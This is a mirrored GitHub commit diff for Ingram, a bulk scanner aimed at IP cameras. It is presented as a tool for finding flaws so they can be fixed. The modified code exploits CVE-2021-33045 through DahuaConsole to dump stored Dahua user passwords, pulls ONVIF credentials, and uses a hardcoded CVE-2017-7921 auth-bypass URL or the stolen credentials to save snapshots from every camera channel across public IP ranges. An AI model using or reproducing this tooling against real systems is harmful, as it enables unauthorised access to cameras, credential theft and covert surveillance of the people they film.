mirror of
https://github.com/jorhelp/Ingram.git
synced 2026-10-16 21:20:40 +08:00
stash
This commit is contained in:
@@ -7,6 +7,7 @@ import requests
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logger
|
||||
from Ingram.utils import run_cmd
|
||||
|
||||
|
||||
def dh_console(ip, port, proto='dhip'):
|
||||
@@ -14,18 +15,26 @@ def dh_console(ip, port, proto='dhip'):
|
||||
console = os.path.join(CWD, 'lib/DahuaConsole/Console.py')
|
||||
user, passwd = '', ''
|
||||
try:
|
||||
with os.popen(f"""
|
||||
(
|
||||
# with os.popen(f"""
|
||||
# (
|
||||
# echo "OnvifUser -u"
|
||||
# echo "quit all"
|
||||
# ) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
|
||||
# """) as f: items = [line.strip() for line in f]
|
||||
cmd = f"""(
|
||||
echo "OnvifUser -u"
|
||||
echo "quit all"
|
||||
) | python -Bu {console} --logon netkeyboard --rhost {ip} --rport {port} --proto {proto} 2>/dev/null
|
||||
""") as f: items = [line.strip() for line in f]
|
||||
logger.debug(items)
|
||||
for idx, val in enumerate(items):
|
||||
if 'Name' in val:
|
||||
user = val.split(':')[-1].strip().strip(',').replace('"', '')
|
||||
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
|
||||
break
|
||||
"""
|
||||
code, msg = run_cmd(cmd)
|
||||
if code == 0:
|
||||
items = msg.split('\n')
|
||||
logger.debug(items)
|
||||
for idx, val in enumerate(items):
|
||||
if 'Name' in val:
|
||||
user = val.split(':')[-1].strip().strip(',').replace('"', '')
|
||||
passwd = items[idx + 1].split(':')[-1].strip().strip(',').replace('"', '')
|
||||
break
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
return user, passwd
|
||||
|
||||
@@ -7,6 +7,7 @@ import json
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logger
|
||||
from Ingram.utils import run_cmd
|
||||
|
||||
|
||||
def cve_2021_33045(ip: str) -> list:
|
||||
@@ -18,12 +19,19 @@ def cve_2021_33045(ip: str) -> list:
|
||||
json_file = os.path.join(OUT, f"{ip}-{port}-users.json")
|
||||
|
||||
try:
|
||||
with os.popen(f"""
|
||||
# with os.popen(f"""
|
||||
# (
|
||||
# echo "config RemoteDevice save {json_file}"
|
||||
# echo "quit all"
|
||||
# ) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
|
||||
# """) as f: items = f.readlines()
|
||||
cmd = f"""
|
||||
(
|
||||
echo "config RemoteDevice save {json_file}"
|
||||
echo "quit all"
|
||||
) | python -Bu {console} --logon loopback --rhost {ip} --rport {port} --proto dhip 2>/dev/null
|
||||
""") as f: items = f.readlines()
|
||||
"""
|
||||
code, msg = run_cmd(cmd)
|
||||
|
||||
# success
|
||||
if os.path.exists(json_file):
|
||||
@@ -32,9 +40,13 @@ def cve_2021_33045(ip: str) -> list:
|
||||
dev_all = info['params']['table'].values()
|
||||
dev_alive = [i for i in dev_all if i['Enable']]
|
||||
user = dev_alive[0]['UserName']
|
||||
passwd = dev_alive[0]['Password']
|
||||
os.remove(json_file)
|
||||
return [True, user, passwd, 'cve-2021-33045', len(dev_alive)]
|
||||
passwds = [i['Password'] for i in dev_alive if i['Password'] != '']
|
||||
passwds = list(set(passwds))
|
||||
# 子相机上有许多不同的密码,但是这些可能都和这台nvr的密码不一样
|
||||
return [True, user, passwds[0], 'cve-2021-33045', len(dev_alive), passwds]
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
finally:
|
||||
if os.path.exists(json_file):
|
||||
os.remove(json_file)
|
||||
return [False, ]
|
||||
+62
-27
@@ -1,15 +1,14 @@
|
||||
"""input output"""
|
||||
"""the data that produced by scanner and send to workshop"""
|
||||
import os
|
||||
import sys
|
||||
import pickle
|
||||
import hashlib
|
||||
from multiprocessing import Pool, Queue
|
||||
from multiprocessing import Pool
|
||||
|
||||
from gevent.lock import RLock
|
||||
|
||||
from Ingram.utils import color
|
||||
from Ingram.utils import logger
|
||||
from Ingram.utils import singleton
|
||||
from Ingram.utils import get_current_time
|
||||
from Ingram.utils import get_ip_seg_len, get_all_ip
|
||||
|
||||
|
||||
@@ -19,9 +18,9 @@ class Data:
|
||||
def __init__(self, _input, output):
|
||||
self.input = _input
|
||||
self.output = output
|
||||
self.msg_queue = Queue()
|
||||
self.var_lock = RLock()
|
||||
self.file_lock = RLock()
|
||||
self.create_time = get_current_time()
|
||||
self.taskid = hashlib.md5((self.input + self.output).encode('utf-8')).hexdigest()
|
||||
|
||||
self.total = 0
|
||||
@@ -63,19 +62,21 @@ class Data:
|
||||
|
||||
# the location to begin
|
||||
if self.done != 0:
|
||||
current = 0
|
||||
while self.lines:
|
||||
line = self.lines.pop(0)
|
||||
current += get_ip_seg_len(line)
|
||||
if current == self.done:
|
||||
break
|
||||
elif current < self.done:
|
||||
continue
|
||||
else:
|
||||
ips = get_all_ip(line)
|
||||
self.lines = ips[-(current - self.done):] + self.lines
|
||||
break
|
||||
logger.debug(f"current: {current}, done: {self.done}, total: {self.total}")
|
||||
for _ in range(self.done):
|
||||
next(self.ip_generator)
|
||||
# current = 0
|
||||
# while self.lines:
|
||||
# line = self.lines.pop(0)
|
||||
# current += get_ip_seg_len(line)
|
||||
# if current == self.done:
|
||||
# break
|
||||
# elif current < self.done:
|
||||
# continue
|
||||
# else:
|
||||
# ips = get_all_ip(line)
|
||||
# self.lines = ips[-(current - self.done):] + self.lines
|
||||
# break
|
||||
# logger.debug(f"current: {current}, done: {self.done}, total: {self.total}")
|
||||
|
||||
# found
|
||||
results_file = os.path.join(self.output, 'results.csv')
|
||||
@@ -83,19 +84,53 @@ class Data:
|
||||
with open(results_file, 'r') as f:
|
||||
self.found = len([l for l in f if l.strip()])
|
||||
|
||||
self.vuls = open(results_file, 'a')
|
||||
self.not_vuls = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
|
||||
self.vul = open(results_file, 'a')
|
||||
self.not_vul = open(os.path.join(self.output, 'not_vulnerable.csv'), 'a')
|
||||
|
||||
def ip_generate(self):
|
||||
for line in self.lines:
|
||||
ips = get_all_ip(line)
|
||||
for ip in ips:
|
||||
yield ip
|
||||
yield from get_all_ip(line)
|
||||
|
||||
def get_total(self):
|
||||
with self.var_lock:
|
||||
return self.total
|
||||
|
||||
def get_done(self):
|
||||
with self.var_lock:
|
||||
return self.done
|
||||
|
||||
def get_found(self):
|
||||
with self.var_lock:
|
||||
return self.found
|
||||
|
||||
def found_add(self):
|
||||
with self.var_lock:
|
||||
self.found += 1
|
||||
|
||||
def done_add(self):
|
||||
with self.var_lock:
|
||||
self.done += 1
|
||||
|
||||
def vul_add(self, item):
|
||||
with self.file_lock:
|
||||
self.vul.writelines(item)
|
||||
self.vul.flush()
|
||||
|
||||
def not_vul_add(self, item):
|
||||
with self.file_lock:
|
||||
self.not_vul.writelines(item)
|
||||
self.not_vul.flush()
|
||||
|
||||
def record_running_state(self):
|
||||
# every 5 minutes
|
||||
with self.var_lock:
|
||||
time_interval = int(get_current_time() - self.create_time)
|
||||
if time_interval % (5 * 60) == 0:
|
||||
logger.info(f"#@#{self.taskid}#@#{self.done}#@#running state")
|
||||
|
||||
def __del__(self):
|
||||
try: # if dont add try, sys.exit() may cause error
|
||||
self.vuls.close()
|
||||
self.not_vuls.close()
|
||||
self.msg_queue.close()
|
||||
try: # if dont use try, sys.exit() may cause error
|
||||
self.vul.close()
|
||||
self.not_vul.close()
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
|
||||
+77
-70
@@ -1,40 +1,51 @@
|
||||
"""coordinate various configurations and make decisions"""
|
||||
import os
|
||||
import time
|
||||
from functools import partial
|
||||
from multiprocessing import Process
|
||||
from multiprocessing.pool import ThreadPool
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
from threading import Thread
|
||||
from collections import defaultdict
|
||||
|
||||
from gevent import monkey; monkey.patch_all(thread=False)
|
||||
from gevent.pool import Pool as geventPool
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logger
|
||||
from Ingram.utils import color
|
||||
from Ingram.utils import singleton
|
||||
from Ingram.utils import get_all_ip
|
||||
from Ingram.utils import get_current_time
|
||||
from Ingram.core.scan import Scan
|
||||
from Ingram.core.data import Data
|
||||
from Ingram.middleware import snapshot
|
||||
from Ingram.core.workshop import Workshop
|
||||
from Ingram.middleware import status_bar
|
||||
|
||||
|
||||
def consumer(msg_queue, path, maxtry, timeout):
|
||||
_snapshot = partial(snapshot, path=path, maxtry=maxtry, timeout=timeout)
|
||||
pool = ThreadPoolExecutor(8)
|
||||
while True:
|
||||
try:
|
||||
if msg_queue.empty():
|
||||
time.sleep(.1)
|
||||
else:
|
||||
item = msg_queue.get()
|
||||
if item == 'done':
|
||||
return
|
||||
# multithread
|
||||
pool.submit(_snapshot, item)
|
||||
except KeyboardInterrupt as e:
|
||||
os._exit(0) # 这种退出方式常用在子进程中
|
||||
except Exception as e:
|
||||
os._exit(0)
|
||||
def consumer(core):
|
||||
try:
|
||||
while not core.finish:
|
||||
core.workshop.process()
|
||||
except KeyboardInterrupt as e:
|
||||
# os._exit(0) # 这种退出方式常用在子进程中
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
exit(0)
|
||||
|
||||
|
||||
def status(core):
|
||||
bar = status_bar()
|
||||
try:
|
||||
while True:
|
||||
time_interval = get_current_time() - core.create_time
|
||||
total = core.data.get_total()
|
||||
done = core.data.get_done()
|
||||
found = core.data.get_found()
|
||||
product = core.workshop.get_done()
|
||||
bar(total, done, found, product, time_interval)
|
||||
time.sleep(.05)
|
||||
except KeyboardInterrupt as e:
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
exit(0)
|
||||
|
||||
|
||||
@singleton
|
||||
@@ -42,74 +53,70 @@ class Core:
|
||||
|
||||
def __init__(self):
|
||||
self.data = Data(config['IN'], config['OUT'])
|
||||
self.scan = Scan(self.data, config['PORT'])
|
||||
self.consumer = Process(target=consumer,
|
||||
args=(self.data.msg_queue,
|
||||
os.path.join(config['OUT'], 'snapshot'),
|
||||
config['MAXTRY'],
|
||||
config['TIMEOUT']))
|
||||
self.workshop = Workshop(os.path.join(config['OUT'], 'snapshot'), config['TH'] // 4)
|
||||
self.scan = Scan(self.data, self.workshop, config['PORT'])
|
||||
self.status = Thread(target=status, args=(self, ))
|
||||
self.consumer = Thread(target=consumer, args=(self, ))
|
||||
self.create_time = get_current_time()
|
||||
self.finish = False
|
||||
|
||||
# logger config vars
|
||||
logger.info(config.config_dict.items())
|
||||
|
||||
def __call__(self):
|
||||
try:
|
||||
self.status.setDaemon(True)
|
||||
self.status.start()
|
||||
self.consumer.start()
|
||||
|
||||
# gevent pool
|
||||
with self.data.var_lock:
|
||||
self.scan.bar(self.data.done, self.data.found)
|
||||
self.scan_pool = geventPool(config['TH'])
|
||||
self.scan_pool.map_async(self.scan, self.data.ip_generator).get()
|
||||
|
||||
# # threading pool
|
||||
# with ThreadPool(config['TH']) as pool:
|
||||
# pool.map_async(self.scan, self.data.ip_generator).get()
|
||||
time.sleep(.1) # the last item may not print
|
||||
self.finish = True # terminate the status thread
|
||||
|
||||
self.data.msg_queue.put('done')
|
||||
self.report()
|
||||
self.consumer.join()
|
||||
# self.report()
|
||||
logger.info('Ingram done')
|
||||
self.consumer.terminate()
|
||||
|
||||
except KeyboardInterrupt as e:
|
||||
self.finish = True
|
||||
exit(0)
|
||||
|
||||
except Exception as e:
|
||||
self.finish = True
|
||||
logger.error(e)
|
||||
exit(0)
|
||||
|
||||
def __del__(self):
|
||||
try:
|
||||
self.scan_pool.kill()
|
||||
self.consumer.terminate()
|
||||
del self.data
|
||||
del self.scan
|
||||
del self.consumer
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
|
||||
# def report(self):
|
||||
# """report the results"""
|
||||
# if not os.path.exists(os.path.join(self.args.out_path, RESULTS_ALL)):
|
||||
# return
|
||||
def report(self):
|
||||
"""report the results"""
|
||||
results_file = os.path.join(config['OUT'], 'results.csv')
|
||||
if os.path.exists(results_file):
|
||||
with open(results_file, 'r') as f:
|
||||
items = [l.strip().split(',') for l in f if l.strip()]
|
||||
|
||||
# with open(os.path.join(self.args.out_path, RESULTS_ALL), 'r') as f:
|
||||
# items = [l.strip().split(',') for l in f if l.strip()]
|
||||
|
||||
# results = defaultdict(lambda: defaultdict(lambda: 0))
|
||||
# for i in items:
|
||||
# dev, vul = i[-2].split('-')[0], i[-1]
|
||||
# results[dev][vul] += 1
|
||||
# results_sum = len(items)
|
||||
# results_max = max([val for vul in results.values() for val in vul.values()])
|
||||
|
||||
# print('\n')
|
||||
# print('-' * 19, 'REPORT', '-' * 19)
|
||||
# for dev in results:
|
||||
# vuls = [(vul_name, vul_count) for vul_name, vul_count in results[dev].items()]
|
||||
# dev_sum = sum([i[1] for i in vuls])
|
||||
# printf(f"{dev} {dev_sum}", color='red', bold=True)
|
||||
# for vul_name, vul_count in vuls:
|
||||
# printf(f"{vul_name:>18} | ", end='')
|
||||
# block_num = int(vul_count / results_max * 25)
|
||||
# printf('▥' * block_num, end=' ')
|
||||
# printf(vul_count)
|
||||
# printf(f"{'sum: ' + str(results_sum):>46}", color='yellow', flash=True)
|
||||
# print('-' * 46)
|
||||
# print('\n')
|
||||
results = defaultdict(lambda: defaultdict(lambda: 0))
|
||||
for i in items:
|
||||
dev, vul = i[2].split('-')[0], i[-1]
|
||||
results[dev][vul] += 1
|
||||
results_sum = len(items)
|
||||
results_max = max([val for vul in results.values() for val in vul.values()])
|
||||
|
||||
print('\n')
|
||||
print('-' * 19, 'REPORT', '-' * 19)
|
||||
for dev in results:
|
||||
vuls = [(vul_name, vul_count) for vul_name, vul_count in results[dev].items()]
|
||||
dev_sum = sum([i[1] for i in vuls])
|
||||
print(color.red(f"{dev} {dev_sum}", 'bright'))
|
||||
for vul_name, vul_count in vuls:
|
||||
block_num = int(vul_count / results_max * 25)
|
||||
print(color.green(f"{vul_name:>18} | {'▥' * block_num} {vul_count}"))
|
||||
print(color.yellow(f"{'sum: ' + str(results_sum):>46}", 'bright'), flush=True)
|
||||
print('-' * 46)
|
||||
print('\n')
|
||||
|
||||
+12
-21
@@ -1,7 +1,5 @@
|
||||
"""scanners"""
|
||||
"""the scanner that produce data"""
|
||||
from Ingram.utils import logger
|
||||
from Ingram.utils import get_current_time
|
||||
from Ingram.middleware import progress_bar
|
||||
from Ingram.middleware import device_detect
|
||||
from Ingram.middleware import port_detect
|
||||
from Ingram.VDB import get_vul
|
||||
@@ -9,11 +7,10 @@ from Ingram.VDB import get_vul
|
||||
|
||||
class Scan:
|
||||
|
||||
def __init__(self, data, port):
|
||||
def __init__(self, data, workshop, port):
|
||||
super().__init__()
|
||||
self.data = data
|
||||
self.start_time = get_current_time()
|
||||
self.bar = progress_bar(data.total, self.start_time)
|
||||
self.workshop = workshop
|
||||
|
||||
if type(port) == list: self.port = port
|
||||
else: self.port = [port]
|
||||
@@ -42,22 +39,16 @@ class Scan:
|
||||
if res[0]:
|
||||
vulnerable = True
|
||||
msg = [ip, port, device] + res[1:]
|
||||
with self.data.var_lock:
|
||||
self.data.msg_queue.put(msg)
|
||||
self.data.found += 1
|
||||
with self.data.file_lock:
|
||||
self.data.vuls.writelines(','.join(msg[:6]) + '\n')
|
||||
self.data.vuls.flush()
|
||||
self.workshop.put(msg)
|
||||
self.data.found_add()
|
||||
self.data.vul_add(','.join(msg[:6]) + '\n')
|
||||
if not vulnerable:
|
||||
record.append((port, device))
|
||||
with self.data.var_lock:
|
||||
self.data.done += 1
|
||||
self.bar(self.data.done, self.data.found)
|
||||
with self.data.file_lock:
|
||||
for port, device in record:
|
||||
self.data.not_vuls.writelines(','.join([ip, port, device]) + '\n')
|
||||
self.data.not_vuls.flush()
|
||||
# log the running state
|
||||
logger.info(f"#@#{self.data.taskid}#@#{self.data.done}#@#running state")
|
||||
# done
|
||||
self.data.done_add()
|
||||
for port, device in record:
|
||||
self.data.not_vul_add(','.join([ip, port, device]) + '\n')
|
||||
self.data.record_running_state()
|
||||
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
@@ -0,0 +1,48 @@
|
||||
"""the workshop that load data and produce product"""
|
||||
import os
|
||||
from threading import RLock
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
|
||||
from Ingram.middleware import snapshot
|
||||
|
||||
|
||||
class Workshop:
|
||||
|
||||
def __init__(self, output, th_num=8):
|
||||
self.output = output
|
||||
self.var_lock = RLock()
|
||||
self.pipeline = []
|
||||
self.workers = ThreadPoolExecutor(th_num)
|
||||
self.done = 0
|
||||
|
||||
self.preprocess()
|
||||
|
||||
def preprocess(self):
|
||||
if os.path.exists(self.output):
|
||||
self.done = len(os.listdir(self.output))
|
||||
|
||||
def put(self, msg):
|
||||
with self.var_lock:
|
||||
self.pipeline.append(msg)
|
||||
|
||||
def empty(self):
|
||||
with self.var_lock:
|
||||
return len(self.pipeline) == 0
|
||||
|
||||
def get(self):
|
||||
if not self.empty():
|
||||
with self.var_lock:
|
||||
return self.pipeline.pop(0)
|
||||
|
||||
def get_done(self):
|
||||
with self.var_lock:
|
||||
return self.done
|
||||
|
||||
def done_add(self):
|
||||
with self.var_lock:
|
||||
self.done += 1
|
||||
|
||||
def process(self):
|
||||
while not self.empty():
|
||||
item = self.get()
|
||||
self.workers.submit(snapshot, item, self)
|
||||
@@ -1,4 +1,4 @@
|
||||
"""some middlewares"""
|
||||
from Ingram.middleware.detect import device_detect, port_detect
|
||||
from Ingram.middleware.status import progress_bar
|
||||
from Ingram.middleware.snapshot import snapshot
|
||||
from Ingram.middleware.status import status_bar
|
||||
from Ingram.middleware.shop import snapshot
|
||||
@@ -32,8 +32,6 @@ def device_detect(ip: str, port: str) -> str:
|
||||
# these are need to be hashed
|
||||
for url in url_list[:-1]:
|
||||
try:
|
||||
# with aiohttp.ClientSession() as session:
|
||||
# r = session.get(url, timeout=timeout, verify=False)
|
||||
r = requests.get(url, timeout=timeout, verify=False)
|
||||
if r.status_code == 200:
|
||||
hash_val = hashlib.md5(r.content).hexdigest()
|
||||
|
||||
@@ -1,23 +1,44 @@
|
||||
"""Some tools about camera"""
|
||||
import os
|
||||
import requests
|
||||
from functools import partial
|
||||
from xml.etree import ElementTree
|
||||
from requests.auth import HTTPDigestAuth
|
||||
|
||||
from Ingram.utils import config
|
||||
from Ingram.utils import logger
|
||||
from Ingram.utils import get_user_agent
|
||||
|
||||
|
||||
def snapshot(camera_info, path, maxtry=2, timeout=5):
|
||||
def _snapshot_by_url(url, file_name, workshop, auth=None):
|
||||
maxtry = config['MAXTRY']
|
||||
timeout = config['TIMEOUT'] * 2
|
||||
for _ in range(maxtry):
|
||||
try:
|
||||
headers = {'User-Agent': get_user_agent(), }
|
||||
if auth: r = requests.get(url, auth=auth, timeout=timeout, verify=False, headers=headers)
|
||||
else: r = requests.get(url, timeout=timeout, verify=False, headers=headers)
|
||||
if r.status_code == 200:
|
||||
with open(file_name, 'wb') as f: f.write(r.content)
|
||||
workshop.done_add()
|
||||
break
|
||||
except Exception as e:
|
||||
logger.error(e)
|
||||
|
||||
|
||||
def snapshot(camera_info, workshop):
|
||||
"""select diff func to save snapshot"""
|
||||
path = os.path.join(config['OUT'], 'snapshot')
|
||||
if not os.path.exists(path):
|
||||
os.mkdir(path)
|
||||
snapshot_by_url = partial(_snapshot_by_url, workshop=workshop)
|
||||
|
||||
ip, port, device, user, passwd, vul = camera_info[:6]
|
||||
# cve-2017-7921
|
||||
if vul == 'cve-2017-7921':
|
||||
file_name = os.path.join(path, f"{ip}-{port}-cve_2017_7921.jpg")
|
||||
url = f"http://{ip}:{port}/onvif-http/snapshot?auth=YWRtaW46MTEK"
|
||||
snapshot_by_url(url, file_name, maxtry=maxtry, timeout=timeout)
|
||||
snapshot_by_url(url, file_name)
|
||||
# if we can get the password
|
||||
elif passwd:
|
||||
file_name = os.path.join(path, f"{ip}-{port}-{user}-{passwd}.jpg")
|
||||
@@ -35,30 +56,21 @@ def snapshot(camera_info, path, maxtry=2, timeout=5):
|
||||
for ch in range(1, channels + 1):
|
||||
url = f"http://{ip}:{port}/ISAPI/Streaming/channels/{ch}01/picture"
|
||||
file_name = os.path.join(path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
|
||||
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd), maxtry=maxtry, timeout=timeout)
|
||||
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
|
||||
# Dahua
|
||||
elif device.startswith('dahua'):
|
||||
elif device == 'dahua':
|
||||
if len(camera_info) > 6:
|
||||
channels = camera_info[7]
|
||||
else: channels = 1
|
||||
for ch in range(1, channels + 1):
|
||||
url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={ch}"
|
||||
file_name = os.path.join(path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
|
||||
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd), maxtry=maxtry, timeout=timeout)
|
||||
channels = camera_info[6]
|
||||
passwds = camera_info[7]
|
||||
else:
|
||||
channels = 1
|
||||
passwds = [passwd]
|
||||
for passwd in passwds:
|
||||
for ch in range(1, channels + 1):
|
||||
url = f"http://{ip}:{port}/cgi-bin/snapshot.cgi?channel={ch}"
|
||||
file_name = os.path.join(path, f"{ip}-{port}-channel{ch}-{user}-{passwd}.jpg")
|
||||
snapshot_by_url(url, file_name, auth=HTTPDigestAuth(user, passwd))
|
||||
# DLink
|
||||
elif device == 'dLink':
|
||||
elif device == 'dlink':
|
||||
url = f"http://{ip}:{port}/dms?nowprofileid=1"
|
||||
snapshot_by_url(url, file_name, auth=(user, passwd), maxtry=maxtry, timeout=timeout)
|
||||
|
||||
|
||||
def snapshot_by_url(url, file_name, auth=None, maxtry=2, timeout=5):
|
||||
for _ in range(maxtry):
|
||||
try:
|
||||
headers = {'User-Agent': get_user_agent(), }
|
||||
if auth: r = requests.get(url, auth=auth, timeout=timeout, verify=False, headers=headers)
|
||||
else: r = requests.get(url, timeout=timeout, verify=False, headers=headers)
|
||||
if r.status_code == 200:
|
||||
with open(file_name, 'wb') as f: f.write(r.content)
|
||||
break
|
||||
except Exception as e:
|
||||
pass
|
||||
snapshot_by_url(url, file_name, auth=(user, passwd))
|
||||
@@ -1,17 +1,15 @@
|
||||
"""status info"""
|
||||
import os
|
||||
import time
|
||||
|
||||
from Ingram.utils import color
|
||||
from Ingram.utils import time_formatter
|
||||
|
||||
|
||||
def progress_bar(total, start_time=0, cidx=[0]):
|
||||
def status_bar():
|
||||
"""
|
||||
since tqdm cant be used when we use mutiprocess
|
||||
we write a process bar ourself
|
||||
"""
|
||||
def wrapper(done, found=0):
|
||||
cidx=[0]
|
||||
def wrapper(total, done, found, product, time_used):
|
||||
# icon
|
||||
icon_list = '⇐⇖⇑⇗⇒⇘⇓⇙'
|
||||
icon = color.green(icon_list[cidx[0]], 'bright')
|
||||
@@ -19,8 +17,7 @@ def progress_bar(total, start_time=0, cidx=[0]):
|
||||
icon = f"[{icon}]"
|
||||
|
||||
# time
|
||||
time_used = time.time() - start_time
|
||||
time_pred = time_used * (total / (done + 0.5)) # avoid the devision number is zero
|
||||
time_pred = time_used * (total / (done + 0.001)) # avoid the devision number is zero
|
||||
time_used = color.cyan(time_formatter(time_used), 'bright')
|
||||
time_pred = color.white(time_formatter(time_pred), 'bright')
|
||||
_time = f"Time: {time_used}/{time_pred}"
|
||||
@@ -30,17 +27,8 @@ def progress_bar(total, start_time=0, cidx=[0]):
|
||||
_done = color.blue(done, 'bright')
|
||||
_percent = color.yellow(f"{round(done / total * 100, 1)}%", 'bright')
|
||||
_found = 'Found ' + color.red(found, 'bright') if found else ''
|
||||
count = f"{_done}/{_total}({_percent}) {_found}"
|
||||
_product = 'Snapshot ' + color.red(product, 'bright') if product else ''
|
||||
count = f"{_done}/{_total}({_percent}) {_found} {_product}"
|
||||
|
||||
print(f"\r{icon} {count} {_time} ", end='')
|
||||
return wrapper
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
found, t0 = 0, time.time()
|
||||
bar = progress_bar(10000, t0)
|
||||
for i in range(1, 10001):
|
||||
time.sleep(.05)
|
||||
found += 1 if not i % 10 else 0
|
||||
bar(i, found)
|
||||
print()
|
||||
print(f"\r{icon} {count} {_time} ", end='')
|
||||
return wrapper
|
||||
@@ -6,12 +6,10 @@ def get_parse():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('-i', '--in_file', type=str, required=True, help='the targets will be scan')
|
||||
parser.add_argument('-o', '--out_dir', type=str, required=True, help='the dir where results will be saved')
|
||||
parser.add_argument('--debug', action='store_true', help='log all msg')
|
||||
|
||||
parser.add_argument('-p', '--port', type=int, nargs='+', default=80, help='the port(s) to detect')
|
||||
parser.add_argument('-t', '--th_num', type=int, default=64, help='the processes num')
|
||||
parser.add_argument('-N', '--nosnap', action='store_true', help='do not capture the snapshot')
|
||||
parser.add_argument('--time_out', type=int, default=3, help='requests timeout')
|
||||
parser.add_argument('-T', '--time_out', type=int, default=5, help='requests timeout')
|
||||
parser.add_argument('--debug', action='store_true', help='log all msg')
|
||||
|
||||
args = parser.parse_args()
|
||||
return args
|
||||
+41
-1
@@ -1,4 +1,7 @@
|
||||
import os
|
||||
import signal
|
||||
import platform
|
||||
import subprocess
|
||||
|
||||
|
||||
def os_check() -> str:
|
||||
@@ -6,6 +9,7 @@ def os_check() -> str:
|
||||
_os = platform.system().lower()
|
||||
if _os == 'windows': return 'windows'
|
||||
elif _os == 'linux': return 'linux'
|
||||
elif _os == 'darwin': return 'mac'
|
||||
else: return 'other'
|
||||
|
||||
|
||||
@@ -16,4 +20,40 @@ def singleton(cls, *args, **kwargs):
|
||||
if cls not in instance:
|
||||
instance[cls] = cls(*args, **kwargs)
|
||||
return instance[cls]
|
||||
return wrapper
|
||||
return wrapper
|
||||
|
||||
|
||||
def run_cmd(cmd_string, timeout=60):
|
||||
p = subprocess.Popen(cmd_string, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True, close_fds=True,
|
||||
start_new_session=True)
|
||||
|
||||
if os_check() == 'windows': format = 'gbk'
|
||||
else: format = 'utf-8'
|
||||
|
||||
try:
|
||||
(msg, errs) = p.communicate(timeout=timeout)
|
||||
ret_code = p.poll()
|
||||
if ret_code:
|
||||
code = 1
|
||||
msg = "[Error]Called Error: " + str(msg.decode(format))
|
||||
else:
|
||||
code = 0
|
||||
msg = str(msg.decode(format))
|
||||
except subprocess.TimeoutExpired:
|
||||
# 注意:不能只使用p.kill和p.terminate,无法杀干净所有的子进程,需要使用os.killpg
|
||||
p.kill()
|
||||
p.terminate()
|
||||
os.killpg(p.pid, signal.SIGTERM)
|
||||
|
||||
# 注意:如果开启下面这两行的话,会等到执行完成才报超时错误,但是可以输出执行结果
|
||||
(outs, errs) = p.communicate()
|
||||
code = 0
|
||||
msg = str(outs.decode(format))
|
||||
|
||||
# code = 1
|
||||
# msg = "[ERROR]Timeout Error: Command '" + cmd_string + "' timed out after " + str(timeout) + " seconds"
|
||||
except Exception as e:
|
||||
code = 1
|
||||
msg = "[ERROR]Unknown Error : " + str(e)
|
||||
|
||||
return code, msg
|
||||
@@ -1,8 +0,0 @@
|
||||
"""const vars"""
|
||||
|
||||
hikvision = 'hikvision'
|
||||
dahua = 'dahua'
|
||||
dlink = 'dlink'
|
||||
cctv = 'cctv'
|
||||
uniview_nvr = 'uniview_nvr'
|
||||
uniview_dvr = 'uniview_dvr'
|
||||
+4
-2
@@ -16,8 +16,10 @@ def get_ip_seg_len(ip_seg: str) -> int:
|
||||
|
||||
def get_all_ip(ip_seg: str) -> list:
|
||||
if ip_seg.count(':') == 1:
|
||||
return [ip_seg]
|
||||
return [i.strNormal() for i in IPy.IP(ip_seg, make_net=True)]
|
||||
yield ip_seg
|
||||
else:
|
||||
for i in IPy.IP(ip_seg, make_net=True):
|
||||
yield i.strNormal()
|
||||
|
||||
|
||||
def scrapy_useragent() -> None:
|
||||
|
||||
@@ -1,194 +1,192 @@
|
||||
<div align=center>
|
||||
<img alt="Ingram" src="https://github.com/jorhelp/Ingram/blob/master/statics/imgs/logo.png">
|
||||
</div>
|
||||
|
||||
|
||||
+ new features: support windows, reconstructure, async, msg-queue
|
||||
|
||||
|
||||
<!-- icons -->
|
||||
<div align=center>
|
||||
<img alt="GitHub" src="https://img.shields.io/github/license/jorhelp/Ingram">
|
||||
<img alt="GitHub issues" src="https://img.shields.io/github/issues/jorhelp/Ingram">
|
||||
<img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/jorhelp/Ingram">
|
||||
<img alt="GitHub last commit (branch)" src="https://img.shields.io/github/last-commit/jorhelp/Ingram/master">
|
||||
</div>
|
||||
|
||||
|
||||
English | [简体中文](https://github.com/jorhelp/Ingram/blob/master/README_CN.md)
|
||||
|
||||
|
||||
## Introduction
|
||||
|
||||

|
||||
|
||||
Schools, hospitals, shopping malls, restaurants, and other places where equipment is not well maintained, there will always be vulnerabilities, either because they are not patched in time or because weak passwords are used to save trouble.
|
||||
|
||||
This tool can use multiple threads to batch detect whether there are vulnerabilities in the cameras on the local or public network, so as to repair them in time and improve device security.
|
||||
|
||||
**Only successfully tested on Mac and Linux, but not on Windows!**
|
||||
|
||||
|
||||
## Installation
|
||||
|
||||
+ Clone this repository by:
|
||||
```bash
|
||||
git clone https://github.com/jorhelp/Ingram.git
|
||||
```
|
||||
|
||||
+ **Make sure the Python version you use is >= 3.7**, and install packages by:
|
||||
```bash
|
||||
cd Ingram
|
||||
pip install git+https://github.com/arthaud/python3-pwntools.git
|
